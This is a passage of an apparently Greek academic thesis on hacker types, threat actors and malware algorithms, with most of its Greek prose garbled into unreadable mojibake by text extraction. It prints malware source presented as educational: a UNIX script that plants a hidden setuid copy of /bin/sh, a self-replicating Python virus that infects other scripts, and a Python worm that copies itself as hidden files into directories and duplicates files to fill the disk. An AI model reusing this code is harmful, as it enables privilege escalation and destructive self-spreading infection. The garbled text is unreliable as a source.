KATL TOV Ogv etvan 1060 mpaypatikd. Ot crackers pmopovv €HKOAN VO EVIOTIGTOVV
enedN 10 KaKOPovAO €pyo TovGg eV glval 1060 gumiotevTikd. EumAékovrtal wg eni 1o
miglotv o Wkpég  mopoPldcels, Onmwg mapoPiocn  avVOYVOPIOTIKOV UECHV
KOWOVIKNG SKTOmong, EAeyxoc g 006vng dhlmv vroAoyiotov k.An. (Memon &
Shaikh & Fazal & Tunio & Arain, 2020).

To cevapo mov mapatifeton oto mapdptnue A - Lab 6 BLUE HAT HACKERS,
avaAvel plo and T mo Kowég embéoelg twv Blue Hats, pio Brute Force Attack.
Méca omd 10 mopdderypa, oavtilapPovopacte T OadKacio. VAOTOINoNG NG
emifeonc aAAd kor tov Tpdmo pe tov omoio ot Blue Hat Hackers emtifevion oto
EVOAMTO GLOTNUATO, KOOADG KOl TOVS TPOTOVG EVIOMIGUOL KOl OVTIUETOTIONG
1£10100 €idovg emBécemv (CyberProof, 2019).

Green hat hacker.

Ot Green Hat Hackers eivar T vedtepa moudid 610 pumAox mov poALG apyilovv va,
paBaivovy v téxvn. Aev €yovv EekdBopo kivtpo 610 6TAd10 6T0 O0Moio Ppickovrtal
(Onradn, pmopovv va yivouv gite pavpog eite Aevkdg hacker). Agv Béhovv oxdma,
va TpokaAEcoVY Kakd, ahdd pmopei va to kKavouv. Kat dedopévou 0Tt dev yvopilovv



axoun toca moAAd yio to hacking, pmopei va punv eivan og Béon va dopbdcovy )
{uié wov mpokdreoav (Techslang, n.d. b).

Y10 oevdplo mov avoeépete oto mapaptnuo A - Lab 7 GREEN HAT HACKERS,
avoAveTon o kowvn emifeon Ransomware, emihoyn ovyvny yw €vov Green Hat
Hacker, yio tqv koAvtepn kotavonon g enibeong aArd kot tov Tpdmo dpdong Twv
napandve hacker (Sharma, 2021b).

6. Red hat hacker.

To Red Hat givon évag povadikog maiktng oty Kowvotnto ac@aieiog, cuvovdloviog
TIg 0e&oTeg Ko v MoK GAA®V KOTEA®V, VO OVTILETOTILEL TO VOUO ©C
apetpio Yoo vao Asrtovpynoet. Ot de&10TTeg Ko 1 EUMEPIR TOV OTALTOVVTOL Y10
VTNV TNV TOEWVOUNOT) TOV XAKEP GLYVEA PEPVOLY AVTA TO ATOLO GE GTEVY] ETAPN LE
TOVG TOUEIG TNG AULVOS KOL TV TANPOPOPIDV, WOTOGO o mpémel va onuewmBel 6t n
ouvepyasio [e avTég TIC LINPEecieg Ba PEpet Yevika OeTikd amoTEAEGHOTO KOl GLYVE
ewwkol oe Bépata acedrelng mpooAapupdvovior ®g epyoAdfor otV ac@AAEl
kowotto (Reilly, 2021).

Y10 mopaptnua A - Lab 8 RED HAT HACKERS oavoeépetar o mpaypotikn
emifeon amd Red Hats. ['vetal avaivon g Yo vo, KATOVOT)GOVLLE TOV TPOTO dpAomg
TOLG 0ALA Kot To uéyefog Tov TpofAnpatoc mov propel va dnpovpyndet amd t€to10v
gidovg emBéoeig (The engine room, 2020).

KoAd 1 xokd, 1o hacking eivor g onpovtikn wtoyq g ac@dieng Tov oktvov. O 6pog
«mapdyovtog omelAng» (threat actor) ypnoomoteiton dtav avagépetal o€ eKeiva Tao dropa M
opadeg atdpmyv mov Bo pmopovoav va ta&vounbodv wg Grey hat 1) Black hat hacker.

3.3. H EEEAIEH TQN THREAT ACTORS

To hacking Eexivnoe t Oexaetia tov 1960 pe 1o phone freaking 1 phreaking, to omoio
aVAPEPETOL OTN YPNON OWPOP®V GLYVOTHTOV NYOVL Y. TOV YEPIGUO THAEPOVIKOV
ocvotnudtov. Exetvn v emoyn, ot Aepovikol S0kOTTES YPNOLOTOOVGAV O18POPOVS
THVOLG, 1 TOVIKN KANGT, Yo Vo, VTOdEIEOVY drapopeTikég Agttovpyiec. Ot TPOTAYOVICTES TNG
anmeNg cvvewdnTonoinoay OTL HUOVUEVOL €vov TOVO YPNOUYOTOIDOVINS £VO GOUPLYL,
UTTOPOVGOV VO EKUETOAAEDTOVV TOVG OOKOTTEG TOV TNAEPDOVOL Y10 VO, TPOYHOTOTO|GOVV
dWPEQY VIEPACTIKES KATOELS.

Yta péca g dekaetiog Tov 1980, Ta povtep HES® TNAEPOVOL YPNGLLOTOWONKAV Yo TN
ovvoeon vmoloywotdv oe Olktvo. Ot threat actors &ypayoav TPOYPAUUOTO «KANCE®V
noAépovy (war dialing), ta omoio kKoAoVoav kGBe aplBUd TMAEP®OVOL GE M0, SEOOUEVN
neploy ovalnTAOVIOG LTOAOYIGTEG, GUOTNUOTO TIVAK®OV ovakowmoewmv kot ¢af. Otav
éPplokav évav aplud trepmvov, ypnolonowvoay mpoypdupate ddppnéng kwduon
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npocPaong v mpdcsPacn. And TOTE, TO YEVIKG TPOPIA KOl TO KIVNnTpOo TOV TAPAyOVI®V
anel®V £govv 0AAAEEL APKETAL.

Ynapyovv morroi drapopeTikoi Tvmor threat actor:

Script kiddies

Ta script kiddies epgaviomnke ) dekaetio Tov 1990 kat avagépetor g £enPouvg 1 ATEPOVG
TOPAYOVTEG OMEIMDV TTOV TPEYOLV LIAPYOVTO GEVAPLN, £pYareio Kol koTopbopaTa, Yoo va
npokarécovy PBAAPTM, aArd cuvnBwg Oyt Yoo képdog. ‘Eva "skiddie", elvar kdmorog mov
OTEPEITOL YVDOGEMV TPOYPUUUATICHOD KoL YPNCLULOTOEL VITAPYOV AOYICUIKO Yo VO EEKIVIGEL
p enifeomn. Xoyvd éva script kiddie ypnowomotlel avtd to Tpoypaupate Ywpic Kav vo
yvopilel TOG Aertovpyovv N Tt kavouv. [ Tapddetypa, eaviacteite 0t £va skiddie maipvet
Tov Tp®@TOo TOL LoAoylotn. To skiddie mapaxkorovbel po tovia vy to hacking ko o
ovvéyewn katePdaler éva avtiypago tov Kali Linux. Apyiler va aoyoleitar pe ta d1dpopa
TPOYPAUUOTO EVED ovalNTA SOOIKTLOKE GEPVAPLL. XTNV apyn, uropel va BewpnBovdv timota
TEPLGGOTEPO AMO Vol ToYVidl ToL AldIKTOOL 1 éva noob, AOy® g EAAEWYNG eUTEPiOG Kot
™G ToyOTNTAG Vo KowynBovv kot va kowynBovv. Mepikéc @opéc KaTapehyouy akoun Kot 6
dtadKTLOKT KatadiméEN 1 eKPoPiopd. Qotdc0, avtd unopel amAdg vo ivorl Eva KA Yo
GAleg mo abAiec dpactnprotnteg (Putman, n.d.).

Vulnerability brokers

Ot vulnerability brokers avagépovtar cuovifmg kot w¢ Grey hat hackers mov mpoorabodv vo
OVOKOADYOVV TPOTO ONUEID e GKOTO VA TIG OVOPEPOLY GTOVS 1O0KTNTES TOV OIKTVMV,

HEPIKES POPEG Yo PpaPeia 1} avTopoBEc.

Hacktivists

Eivar évac O6pog mov avagépetor kar oe Grey hat hackers mov ovykevipdvovior kot
JWPOPTVUPOVTAL EVAVTIOL GE OLPOPETIKEG TOMTIKES Kot Kowmvikég Wéec. Ou hacktivists
dwpaptipovror ONUOGLO evAVTIOL GE OpPYAVIGHOUS 1 KuPepvnoels ompocievoviag apbpa,
Bivteo, dwauppéovtag svaicnteg TANPOPOPIES Kot TPOYUATOTOUDVTOG EMOEGES SLAVEUNUEVIG
apvnong e&oanpémong (distributed denial-of-service attack, DDoS attack). Kowoi otoyot yia
toug hacktivists mepihappdvovv  kvPepvntikés vanpeciec, moAveBvikéc etoupeieg M
oo TOTE GAAN ovidtnta Bempeitor ©g «kak» N «AdBog» amd v ondda 1 TO0 ATOUO
hacktivist. ®voikd, n amdKTNoN U £E0VGL000TNUEVNG TTPOGPAOTG GTA TEPLOVCLOK( GTOLYEID
OTOIOVONTOTE OPYAVICHOD HECH TETOW®V  OPACTNPOTATOV  elval €YKANUOTIKY TPaén,
aveEaptnrta and to mown puropei vo givan 1 Tpdbson (Checkpoint, n.d.).
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Cybercriminal

Ot Cybercriminal, eivan évoag Opoc vy tovg Black hat hackers mov eite eivor
aVTOOTOCYOAOVEVOL €lte gpydlovTal Yoo HEYOAEG OPYOVOGELS EYKANUOTIKOTNTOS OTOV
KuPepvoydpo. Kabe ypdvo, ot eykinuotiec tov KuPepvoympov givatl vrevhuvol yio Ty kAo
doekatoppvpiov dohapiov amd Kotavolmtéc kot emyyelpnoels. Eivalr yvootd o0t ot
cybercriminals éyovv mpdcPacn ot vIdYeleg ayopég TV cybercriminals mov Ppickoviot
oto deep web yio va epumopedovton kakoBovAa ayafd Ko vanpeoies, dmwg epyaieio hacker
Kol KAsppéva dedopéva. Ot cybercriminals dapépovv emiong moAd amd tovg threat actors pe
APOPOLVG TPOTOVG, O TPDOTOG Atd TOVG 0moiovg eival 1 TpdBeom. Ot threat actors givor dropa
oL J1EEAYOVV OTOYEVUEVESG EMBEGELS, 01 OTOlEG EMOUDKOVY gvepyd kol Bétovv og Kivouvo
™V Voo piag ovtotnTag otdyov. Ot eykinuatieg Tov KuPepvoymdpov gival amibovo va
emkevIpmBovy oe o evioio ovtoTTo, OAAG SEEAYOVV EMYEIPNCEIS O UHEYAAES MALES
Bvpdtov mov opilovtar poOvo amd MOPOUOOVS  TUTOVG  TAATEOPHOS, OLOOTKTLOKN
CLUTEPIPOPE 1| TPOYPELUUATO TOV YPNCYOTOOVVTOL AEVLTEPOV, SAPEPOVY GTOV TPOTO HE
ToV 0moio deEdyouv Tig OpactnPloTTEC Tove. Ot threat actors akolovBovv o dtadikacio €51
Bnuatwv, n omoia mepAapuPavel TV €pevva oTOY®V Kol TNV TAEVPIKN Kivion péca o€ €val
diktvo. Ou cybercriminals, amd tnv GAAN mAgvpd, civoar amiBavo va axolovOncouvv
Kabopiopéva fripoto yio va mwhpovy avtd mov 0ékovv and ta Bopotd tovg (Trendmicro, n.d.).

State-Sponsored

Ov hackers mov ypnuatodotovvion oamd T0 Kpatog &ivon threat actors mov wAEPovv
KoPepynTikd  pLOTIKA, GLAAEYOLV TANpo@opieg Kot OoAo@Bopés oe  diktva  EEveV
KUPBEPVNOCEMV, TPOUOKPATIKOV OUAO®V Kol eTapel®v. Ol meEPIoGOTEPES YMDPES GTOV KOGUO
OLUUETEYOVV O KAmO10 PabUd o KPUTIKES EMYOPNYNOES. AVAAOYO UE TNV OMTIKN Yovia
evog atopov, avtoi eivon eite White hat eite Black hat hackers. Hacker mov
YPNUATOO0TOVVTOL OO TO KPATOG €lvol €miong VMOMTOL GTO ransomware mov UOAVVE
oLOKEVEG 6€ TEPLocOTEPES amd 60 ydpeg vopitepa avtd to £toc (Cyberpolicy, n.d.).
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KEDAAAIO 4 AATOPIOMOI

Ye outd 10 KePAAao Ba avoidoovpe KATOLE omd Tovg aAyopiBpovg pe TOv 0mOiovg
yivovtar ot mhavég embéoelg amd tovg threat actors mpog tovg S1GPOPoOVE OPYOVIGUOVG,
etapieg N Kot ot mhavd OOpHoTO, PE GKOTO VO, ATOGTACOVY CTLLOVTIKES TANPOPOpieg Tov o
TOVG amoPEPOLVV KEPSOC. Ot KDJKEG e TOVG 0moiovg Ba acyoAnBodpe givarl | avdlvor evog
virus script kot evog worm class. Enuavtiké €d® &ivar va. avagépovpe OTL 01 TUPAKAT®
alyopOpol Kot kmdkeg ivorl kabapd yio EKTUOEVTIKOVE GKOTOVG KOl OEV TPOTPETOVLY GTNV
YPNOT TOVG Y10, EMENUIOVG GKOTOVC.

4.1 VIRUSES

H xoaxo6Povin Aoy etvar éva oOvolo odnyudv, &va mpOYPOUUO OV TPOKOAEL TNV
mopofiocn pog ToMTIKNG ac@aAeiag VOGS 16TOTOTOV, TPOYPAUUATOS, EPAPUOYNG, KAT..

VIRUSINFECTSAFILE

VIRUSRUMN AS VIRUSRUN AS
ADMINISTRATOR NORMAL USER
VIRUSEXPLOITS VIRUSEXPLOITS VIRUSEXPLOITS VIRUSEXPLOITS
ROOTHOLE ROOTHOLE ROOTHOLE ROOTHOLE
W hJ
OTHER INFECTED OTHER INFECTED
PROGRAMS PROGRAMS

Ewkova 5: ALAypappa LV

Y10 mapakatm mopaderypa, o dodue éva script yio ta UNIX, oto omoio Oa vroBécovue Ot
T0. o0pPoro “.” Bpioketor 6to mepipdArov tov path kot to script éyet ovopootet IS ko éxet
tomofetOel otov katdhoyo directory (Geeksforgeeks, 2020b).
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cp /bin/sh ftmp/.xxsh
chmod u+s,o+x ftmp/.xxsh
rm ./1ls

1s§*

Avdlvon Tov script

>10 mopoamdve script, dnuovpyeite Eva avtiypago tov UNIX Shell, mov eivon to setuid,
onAadn 1o xoaBopiopévo avayvoplotikd ypnotn (user ID) xoatd v extéleomn TOL
npoypappotoc. To setuid eivor €vog €0wOC TOHmOC AdEWC OapyelwV oTOL AETOVPYIKA
ovotnuata Unix (avtioctoyya kot oe Linux kar BSD), éva epyaieio acepareiog to omoio
EMTPENMEL GTOVG YPNOTEC VO EKTEAOLV OPIGUEVO TPOYPAUMOTE HE ovénuéva mpovopua
(privileges) (Computer Hope, 2020). T'ia va yiver mo &0KoAo, KATavontd T0 TPOYPOLLLO,
setuid, mpémel TpmdTOU VO yivel katavontd mwg amodnkeveton | tavtdtnTa Tov ¥pnot (User
Identity) o€ éva Aettovpyiko ovotnua UNIX (Geeksforgeeks, 2020b).

¥10 Aertovpyikd cvotnuo UNIX OS, n tovtdmmto tov ¥pnotn avamopliotdtolr og £Vog
aKépalog apuoc petacd 0 ko 65.535, o omoiog apBudg avapépetor ko og UID (Unique
Identification Number). Avtd mov kdvovv ta mpoypaupate setuid eivor vo onpovpyodv
depyaocieg pe 1o UID tov katdyov Ko o)l LE TO TPITO GTOUO OV EKTEAEL TO TPOYPOLLLLLOL.
Avtd onuoiver mwg o threat actor amoktder To dwkoidpote TOL WOk, Omwg
avtlappavopoote, ovtd amd povo tov givarl 1on o svabeia (Geeksforgeeks, 2020Db).

210 script, ovclooTiKd, onpovpyROnke éva setuid avtiypago tov UNIX shell. tn cvvéyeia,
OVTO TO TPOYPOLLLO OLOYPAPETAL KOl EKTEAEITOL 1] EVTOAN IS, e oKOTO TNV KOTOYDOPNON TOV

apyeimv Kol TmV QakEA®V oV vITdpyovy otov Tpéyovta katdroyo epyaciog (Geeksforgeeks,
2020b).

O1 mepiocdTepot viruses akorlovbovv 1o mapakdtm basic script (Geeksforgeeks, 2020b).

Beginvirus
if spred-condition TRUE the begin
for the target files begin
if target affected TRUE then begin
Determine where to place wirus instructions
Copy the wirus instructions
Modify target to spread the wirus later
End if
End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
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Onwg éxel avagepbel kot 6to 20 Kepdrato (Ymoevotnta 2.1.A.2), kdbe 10¢ vroloyiot €xel
oo @doelg, ™ Qdon E160Y®YNS, KATO TNV O0moio. 0 10¢ EICAYETAL GTOV GTOYOMOMUEVO
VTOAOYIOTN KOt TN PAON EKTEAEONG KOTA TNV OO0l O 10¢ EKTEAEL OPIGUEVES EVEPYELEC.

Ed® eivon cmotd vo avapepbei ot yia va, dnuovpynBel Evag 10¢ vrodoyiotn, 1 Python dev
amotelel v kKaAvtepn emhoyn. H Python givar po yAddooa mov ypetdletan diepunvéa yio vo,
extedeotel. Mmopel va evoopoatmbel évog diepunvéag otov 10, oAAG To apyeio mov Oa
npokOyeL Ba givarl mo Papvc. o va mpoypappatiotel £vag 10¢, GALEG YADCGTEG OV THOVDS
UTTOPOVV VO, AELTOVPYNOOLV GE YOUNAOTEPO EMIMESO KOL TOV UTOPOVV VO, LETOYAMTTIGTOOV
elval KaAVTEPN €MAOYT Kot Yo avtd 10 AOY0 TOAMOTEPO MTAV TOAD cuvndicuévo vo
BAémovpe 1006 ypapuuévoug o C 1 Assembly (MASTROMATTEDO, 2021).

AvT0 onuaivel 0Tt 0 KOPLOGg 6TOY0G oG OTav Ypdgovpe £vay 10 glval vo SNUOVPYNGOVUE £V
npoypoppo mov pmopel va eEamimbel kol vo avamopaydysl poilvvoviag Ao opyeia,
owvnBwg eépvoviac éva «meélpo @option (payload), to omoio sivar o kaxo6Bovin
Aertovpyion Tov Béhovpe vo exterécovpe oto ovotnuo mpoopispod (MASTROMATTEOQ,
2021).

1 try:

2 # retrieve the wvirus code from the current infected script
3 virus code = get wvirus_code()

A

5 # look for other files to infect
6 for file in find files to_infect():
7 infect(file, virus_code)

8

9 # call the payload

1@ summon_chaos()

11

12 # except:

13 # pass

14

15 finally:

16 # delete used names from memory
17 for 1 in list(globals().keys()):
18 if(i[e] = "_"):

19 exec('del {}'.format(i))
28

21 del i

20UQOVO. LE TOV TOPATAVE KOOUKOL:

Kaiovpe ) ouvaptnon get_virus_code() (ypapun 3), n onoia eMGTPEPEL TOV TNYOHO KOIKO,
T0v 100 7ov &xet Anebel amd TOo TpéYov SCript. Xtn ovvéxsw, M ovvaptnom
find_files_to_infect() (ypouun 6) emotpépel ™ Aloto TV Opyei®v 7OV pmOPOLV Va
poAvvBouv kot yio KaBe apyeio mov emoTpépetal, o 160G egomidvetar. Metd ) podivvon,
Kahovpe tn ovvaptmon summon_chaos() (ypapun 10), dniadn ™ cvvapmon OEEAMUOV
@optiov pE Tov Kmdkd kKakdfoviov Aoyiouikod. Oha Exovv eicaybel o éva try-except block,
£to1 ®ote vao glpaocte olyovpol OTL 01 €EAPECELS GTOV KMOKO TOV 100 TayldedovVTOoL Kot
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ayvoovvtal omtd to pass statement oto except block. To telko block givar to televtaio puépog
TOL 10V KOl 0 GTOYOS TOL Elval Vo OPAIPECEL TO YPNGLOTOUEVE OVOLOTO OO TN KV,

£tol ®ote va unv €xel Kopio emidpacn otov Tpdmo Aerrovpyiog Tov poAvopévov Script
(MASTROMATTEDO, 2021).

Topo mpémel vo epapudcovpe Tig cuVOPTHOoELG StUD mov uoAig dnovpynoape, Eekivovtog
amd ™ ovvdptnon get_virus_code(). I'o va AdPovue tov Tpéyovia Kmdkd 100, anidc Oo
dwPdcovpe to script kot Oa Adfovpe avtd mov Ppickovue avaueca oe dVvo kabopiouéva
oxomo (MASTROMATTEDO, 2021).

1 def get content of file(file):

2 data = None

3 with open(file, "r") as my file:
4 data = my_file.readlines()

5

& return data

7

8 def get_virus_code():

9

1@ virus_code_on = False

11 virus_code = []

12

13 code = get content of file{ file )
14

15 for line in code:

16 if "# begin-virus\n" in line:
17 virus code on = True

18

19 if wirus_code_on:

28 virus code.append{line)
21

22 if "# end-virusi\n" in line:
23 virus_code_on = False
24 break

25

26 return virus_code

Kot pohg éyovpe t Aloto pe o apyeio mov Ba polvvOodv, ypealdpoote to infection
function. e avt v mepintoon, Ba TPOYPUUUATIGOVUE ATADS TOV 10 HAG GTHV OpYH TOV
apyeiov mov Béhovpe va poidvoope (MASTROMATTEOQ, 2021).
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def get content if infectable(file):
data = get content_of file(file)
for line in data:
if "# begin-virus" in line:
return MNone
return data

if (data:=get content_if infectable(file)):
with open(file, "w") as infected file:
infected file.write("".join(virus_code))

1
2
3
a
5
B
7
8 def infect(file, virus_code):
4
18
11
12 infected file.writelines{data)

Avtd mov ypetdleton givar va tpocbécovue 1o payload. Eedcov dev BéAovpe va kbvovue
KTl IOV pUmopel va PAAWYEL TO GUGTN O, ONUIOVPYOVUE OTAMG 0L GLVAPTOT] TOV EKTLITMVEL
ka1t otV Koveora (MASTROMATTEO, 2021).

1 def summon_chaos():
2 # the wvirus payload
3 print("We are sick, fucked up and complicated\nWe are chaos, we can’'t be cured")

Omnote 0 10¢ givan £Toyog ko pumopei va. ypnoonomei o€ source code.
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4.2 WORMS

e aut Vv evotnta Ba avagepBode o€ o Yvooty Katnyopio KakOBovAoy AoYiouKoD, T
worms. Ta WOrms, 0Tm¢ EYOVLE OVOPEPEL KOL GE TPOTYOVLEVO KEPALOLO0, EvOL S10POPETIKA
amd évav 10 VITOAOYLOTH HE TPOTO TTOV Ol TVTIKOT 101 LOAVVOLY HOVO apyEin Kot TOL GKOVANKLOL
avamapdyovv apyeio Kot Kpatovv ta dumhdtuma pokpld (og kpoed apyeia) (Github, 2021).

PAYLOADS

PROPAGATION

MOTIVATIONS CARRIES AND
AND DISTRIBUTION
ATTACKERS

MECHANISMS

TARGET
DISCOVERY

Ewkova 6: Ztoyeia twv Worm

[Mapoxdtm, Oo dodue mwg onuovpyeite o kAdon (class) worm xor po pébodog
apywkomoinong yio ™ nébodo twv apyikdv opiopmv (Github, 2021).

class Worm:

def init_ (self, path=None, target dir list=None, iteration=None):
if isinstance(path, type(None)):
self.path = "/"
else:
self.path = path

if isinstance(target_dir_list, type(None)):
self.target dir list = []

else:
self.target_dir_list = target_dir_list

if isinstance(target dir list, type(None)):
self.iteration = 2

else:
self.iteration = iteration

# get own absolute path
self.own_path = os.path.realpath{_ file )
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210 TOPOMAVEO TUAUO KOO Topatnpovpe Tpio arguments. Apywd mopoatnpodue 1o
argument tov path, to omoio opilel and mo onueio wpémnel vo Eekivioel N avalitnon Tov
katardyaov (n default emdoyn opileton amd to root directory /). Axpipog dimha mapoatnpovue
1o target_dir_list, éva argument pe to omoio o ypNoTNg Uropel va TEPAGEL o MoTO TOV
APYIKOV GTOYOTOMUEVOV KaTtaAdywv, 1 omoio eivor uio kevh Alota (by default). Téhoc,
VIapyeL To argument iteration, to omoio ypnoyomomONKe pe 6Komd v 0ploTEL T0 MOGEG

napovcieg Bo dnpovpynBodv pe tov 10 worm yio kdbe vdpyov apyeio oe €va KOTAAOYO
(Github, 2021).

MEG®OAOX I'TA TH AIXTA OAQN TQN DIRECTORIES KAI SUBDIRECTORIES

Q¢ mpmtn pébodo, eivar va mapobiécovpe OAoOVG TOLg oToyeLVOUEvoL: directories Kot
subdirectories, otovg omoiovg Oa avtrypdyovpe To WOrm kabd¢ Kot o vdpyovta apyeio oto
directories (Pythonprogramming, 2018).

310 mapOKAT® Koupatt kddwka mov avapépetar oto list_directories, amopehyovtat ta Kpved
apyeion kabmog meptlapPdvovv kot Tovg yovikovg KataAdyovg (parent directories)
(Pythonprogramming, 2018).

def list directories(self,path):
self.target_dir list.append{path)
files_in_current_directory = os.listdir(path)

for file in files _in_ current_directory:
# avoid hidden files/directories (start with dot (.))
if not file.startswith("."):
# get the full path
absolute path = os.path.join(path, file)
print{absolute path)

if os.path.isdir{absolute path):
self.list directories({absolute_path)
else:
pass

H ocvuvaptmon os.listdir, petd t swoaywyn tov module 0s, pmopei va ypnoonomoei yio va
eupaviotel 6A0 1o directory. No onueudcovpe €d® OTL av otnv mopévleon dev opicovpe
timota, B0 pog emotpéyel o AMota pe OAo To apyelo Kot TOVG POKEAOVG TOL TPEXOVTOG
directory (Pythonprogramming, 2018).

Ocov agopd tn uébodo startwith(‘.”), yvopiovpe 6tt Aoppdvel o mOAD Tpeic TOPAUETPOG,
10 prefix ) cvpPoroocepd 1 v mAeldda TV GLUPOAOGEP®V OV Eivar TPOg EAeyyo, To Start
(to omoio givar TPOOPETIKO) Kot apopd TNV apykn B€om 6mov to TpodBepa Tpémetl va eeyyBel
néoa ot cvpPorocepd kot o end (e&icov mpoarpeTikd) Tov aPopd TV TEAMKN B€omn dmov
10 TpdOepa Tpémel va ereyyOel péoa ot cvpPorocelpd (Programiz, n.d.).
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H pébodoc os.path.join() ocvvevover dudpopo ctoyeio tov path pe éva daymplotikd
Katahdyov (/7)) petd amnd kabe un kevo TURpo EKTOG 0mtd To TeEAELTAio oToyEio Tov path. Eav

10 oTolyElo Tov TeAgvTaiov path givarl kevo, toTe TO dywpPLoTKd */° Tomobeteite 6T0 TEAOG
(Geeksforgeeks, 2021a).

H cvvaptnon os.path.isdir(), emotpéeet True 1| False av to path ivon éva vapyov directory
(Python, n.d.).

MEG®OAOX ANAITAPAT QI'HX TQN WORMS

o vo yivel avtiypagn tov i010v Tov SCrpt 6 OAOVE TOVG GTOYEVOUEVOVS KATAAOYOVG,
naipvovpe to amdAvto path Tov script mov exteloVue Kot HETA AVTIYPAPOVLE TO TEPLEXOUEVL
GTOVG KATAAOGYOUS TPOOPIGLOV, ONUIOVPYDVTAS £V KPLPO apyeio pe To 1010 OVopa.

def create new worm(self):
for directory in self.target dir list:
destination = os.path.join(directory, ".worm.py")
# copy the script in the new directory with similar name
shutil.copyfile(self.own_path, destination)

H upébodog shutil.copyfile() ypnoipomoleitar yio v avtypa®n Tov TEPLEYOUEVOL TOV
apyeiov mpoéhevong oto apyeio mpoopiopov. To metadata tov apyeiov dev avtrypdpovtar. H
TNYN KoL 0 TPOOPICUOS TPETMEL VO AVTITPOGMOTEVOLV EVA OPYELID KOL O TPOOPIGUAG TTPENEL VO
etvarl eyypayog. Edv o mpoopiopodg vapyet 1om, 10te Oa aviikotactobel pe to apyeio
TpoéAevoNc SrapopeTika Bo dnpovpyndei éva véo apyeio (Geeksforgeeks, 2021b).

MEQOOAOX ANTIT'PA®HY TQN YITAPXONTOQN APXEIQN

H axoiovdn pébodog Ba ypnoyomomOet yio v avirypaen apyeiov 66eg Qopég ivor 1 Tiun
oV €Yovpe amd 10 Oplopa emavaAnyms. Mropel va ypnowonomBei évag peydrog apbudg,
£T61 OGTE 0 GKANPAG O10KOC VO YEUIGEL AUETOL.

def copy_existing files(self):
for directory in self.target_dir_list
file list in_dir = os.listdir(directory)
for file in file_list_in_dir:
abs_path = os.path.join(directory, file)
if not abs path.startswith('.') and not os.path.isdir(abs path):
source = abs_path
for 1 in range(self.iteration):
destination = os.path.join(directory,("."+file+str(i)))
shutil.copyfile(source, destination)
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H pébodog os.listdir() ypnoomoteitat yo t Afqyn ¢ MoTtog OA®mV TV apyEiov Kol TV
KaTaAOY®OV 6ToV Kabopiopévo katdroyo. Eqv dev kabopicovpe kavévay katdAoyo, tote Oa

eMOTPaQEl MoTta apyeimv Kot KATOAOY®V GTOV TPEXOVTA KATAAOYO EPYOCING
(Geeksforgeeks, 20219)

ME®OAOX ENOIIOIHXHX

e avti ™ pébodo, Ba kKoAécovpe OAEC TIg mponyovueveg pebodove. ‘Etotl, 6tav kaAovue
avtnv ™ HEB0SO YPNOUYOTOIDVTIOS TO OVTIKEIHEVO 7OV OMUIOLPYNOCOLE, TO WOrm Oa
Eexvnoetl OAec Tig evépyeleg dadoykd. Edv BéAovpe va ypnoomot)covpe YpovOUETPO N
datetime, umopei va mpootebei avtiv n Aettovpyia.

def start worm _actions(self):
self.list_directories(self.path)
print(self.target dir list)
self.create new worm()
self.copy existing files()

MAIN FUNCTION

Y& avto 1o onueio Bo Topabicovue To main function kabmg Ko 1 EKTELEST] TOL KOITKO.

if  name  ==" main_ ":
current_directory = os.path.abspath("")
worm = Worm(path=current_directory)
worm.start_worm_actions()

Ed®, ywo va omogevkt] vo yepicet 1 povédo 0ioKov, YPNOCLLOTOIOVUE TOV VTAPYOVIQ
KATAAoyo ypnoomoldvtag uovo to 0S.path.abspath("") kot o petapépovpe g OpLoua KoTd
™ onuovpyio evdg oavtikelpévov g khaong Worm. Télog woiodpe 1 pébodo
EVOOUATOONG.

Mmopovpe vo 300 e 0AdKAN PO ToV KMdKa, Bpioketar drabéotpoc oto (Github, 2021).

4.3 BUFFER OVERFLOW ATTACK

e avt) Vv evotta o avapepBovpe o pia and Tig To yvootég emBéoelg Buffer Overflow,
10 Ping of Death. Apywd, Oa mpénet va e€nynoovpe ) dwdikacio tov Ping of Death.
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Ewova 7: BUFFER OVERFLOW ATTACK

H gvtoAn ping ypnotponoieitar cuvnBwmg yio tov édeyyo g dabecudtnrag voc TOpov Tov
OkTOov. OVoLIGTIKA, AETOLPYEL OTEAVOVTOG MIKPA TOKETO, OEGOUEVOV GTOV TOPO TOL
dwktvov. To Ping of Death 1o exuetaiievetar kol oTéAVEL TAKETA OEGOUEVOV TTAV® OO TO
uéyioto 0pio tov 65.536 bytes mov emrpénet to TCP/IP. O katakepupatiopnog TCP/IP dwomd
TOL TOKETO, O€ PIKPGL KOUUATIO TOV ATOGTEAAOVTOL GTOV O10KOUIGTY|. AEOOUEVOL OTL TOL TOKETOL
dedoUéVmV IOV amOCTEALOVTOL €lval HEYOADTEPO OO OVTA TOV UmOpPel va yePLoTEl O
OlKOUIOTNG, TOTE O SLOKOMOTNG WTOPEl Vo TayMoeEL, vo emavekkivnOel 1 kol vo dlokomel
(Williams, 2022). v mopomdve meptypapr] mopovoldletal 1 apvnTikn TAELPA €vOg
TakéTov ping. Me v agpvoikn advénon ov péyebovg tov mTokéTov ping, oynuatiCoviog évo
AovOoouévo makéto ping ywo v embeon oe évo cOGTNUO VIOAOYIGTH, AVTOG O TOTOG
enifeonc ovopdleton emifeon "Ping of Death” (Shekhar, 2022).

H IIEPII'PA®H THX EIIIGEXHX

‘Eva ocwot6 Internet Protocol version 4 (IPv4) omoteleiton amd 65.535 byte xai ot
TEPIOGOTEPOL VIOAOYIGTEG TTAAALOD TOHTTOV OEV UTOPOVV VO, SLUYEPIGTOVY LEYOADTEP TOKETA
and avtd. H amootodf] evog ping peyolvtepov amd avtd mapaPialer mv IP, emopévog ot
eloPfolelg otéAvouv TakETa TUNUOTIKG TO OTtoia, OTOV TO GTOXEVOUEVO GUGTNLO EMLYEPEL VAL
TO. CUVOPUOAOYNOEL €K VEOV, 0dnYel oe éva makéto peydAov peyébovg mov pmopel va
TPOKAAEGEL KOTAPPELOT), TAYMO 1) ETAVEKKIVIION TOL cvothuatog (Fortinet, n.d.b).

Avto 10 6QaApa ypnopomombnke gbkola oTic TpdTeg VAomomaoelg TCP/IP og éva gupd
QAo AEITOVPYIKOV cVoTNUAT®V, cvutepapupavopévov tov Windows, Mac, Unix, Linux,
KOODC Ko 6 GLOKEVEG HIKTHOV OTMC EKTLTIMTES Kot dpoporoyntég (Imperva, n.d.d).

Eivan yeyovog 611 dev pmopovv 6ot o1 vmoAoyoTtég va dwyelpiCovtan dedopéva peyarvtepa

a6 éva otabepo péyeboc. ‘Etol, dtav 1o Ping of Death anocstéhietar amd Evav vroloylot
